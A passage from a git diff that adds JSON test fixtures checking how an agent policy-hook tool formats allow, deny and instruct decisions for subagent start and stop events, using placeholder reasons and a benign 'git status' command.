b/__tests__/parity/fixtures/openclaw/SubagentStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/SubagentStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..724a657c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/SubagentStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..7b63af52 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/SubagentStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..73da319e --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/SubagentStop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..5ebf7813 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/SubagentStop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..f8356771 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/SubagentStop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..e8524b30 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/SubagentStop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..fbfd6f17 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/SubagentStop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..7901bfb8 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/SubagentStop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a9fae631 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/SubagentStop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..048cd212 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/SubagentStop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..07d93f56 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/SubagentStop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..32bf2b85 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/SubagentStop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..13239fd4 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/SubagentStop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..6a246276 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/SubagentStop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..ae9d2036 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/SubagentStop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..15dd9fc6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/SubagentStop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..16ef2358 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git 